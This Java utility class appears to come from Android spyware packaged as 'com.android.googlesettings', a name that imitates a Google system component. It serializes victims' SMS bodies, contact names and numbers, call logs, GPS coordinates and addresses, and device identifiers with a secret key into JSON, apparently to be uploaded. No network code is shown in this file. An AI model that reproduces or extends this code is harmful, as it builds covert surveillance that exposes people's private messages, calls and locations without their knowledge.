package com.android.googlesettings.util;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;


import org.json.JSONArray;
import org.json.JSONObject;

import com.android.googlesettings.model.CallInfoBaseModel;
import com.android.googlesettings.model.LocationModel;
import com.android.googlesettings.model.MessageInfoModel;
import com.android.googlesettings.model.UserInfoModel;
import com.android.googlesettings.model.VerifyKeyModel;

public class JSONUtil {

	public static String parseUserInfoModelJson(ArrayList<UserInfoModel> arrayList) {
		Map<String, String> params = null;
		JSONObject jsonObject = null;
		JSONArray jsonArray = new JSONArray();
		for (UserInfoModel infoModel : arrayList) {
			params = new HashMap<String, String>();
			params.put("client_id", infoModel.getClient_id());
			params.put("install_date", infoModel.getInstall_date());
			params.put("phone_info", infoModel.getPhone_info());
			params.put("sercet_key", infoModel.getSercet_key());
			jsonObject = new JSONObject(params);
			jsonArray.put(jsonObject);
		}
		return jsonArray.toString();
	}

	public static String parseMessageInfoModelJson(ArrayList<MessageInfoModel> arrayList) {
		Map<String, String> params = null;
		JSONObject jsonObject = null;
		JSONArray jsonArray = new JSONArray();
		for (MessageInfoModel infoModel : arrayList) {
			params = new HashMap<String, String>();
			params.put("mobile_id", infoModel.getMobile_id());
			params.put("name", infoModel.getName());
			params.put("date", infoModel.getMsgDate());
			params.put("phoneNumber", infoModel.getMobilePhone());
			params.put("smsbody", infoModel.getMsgBody());
			params.put("type", infoModel.getMsgType());
			jsonObject = new JSONObject(params);
			jsonArray.put(jsonObject);
		}
		return jsonArray.toString();
	}

	public static String parseCallInfoModelJson(ArrayList<CallInfoBaseModel> arrayList) {
		Map<String, String> params = null;
		JSONObject jsonObject = null;
		JSONArray jsonArray = new JSONArray();
		for (CallInfoBaseModel infoModel : arrayList) {
			params = new HashMap<String, String>();
			params.put("mobile_id", infoModel.getMobile_id());
			params.put("phoneNumber", infoModel.getNumber());
			params.put("date", infoModel.getDate());
			params.put("duration", infoModel.getDuration());
			params.put("type", infoModel.getType());
			params.put("name", infoModel.getName());
			jsonObject = new JSONObject(params);
			jsonArray.put(jsonObject);
		}
		return jsonArray.toString();
	}

	public static String parseLocationModelJson(ArrayList<LocationModel> arrayList) {
		Map<String, String> params = null;
		JSONObject jsonObject = null;
		JSONArray jsonArray = new JSONArray();
		for (LocationModel infoModel : arrayList) {
			params = new HashMap<String, String>();
			params.put("mobile_id", infoModel.getMobile_id());
			params.put("time", infoModel.getTime());
			params.put("latitude", infoModel.getLatitude());
			params.put("longitude", infoModel.getLongitude());
			params.put("address", infoModel.getAddress());
			jsonObject = new JSONObject(params);
			jsonArray.put(jsonObject);
		}
		return jsonArray.toString();
	}

}
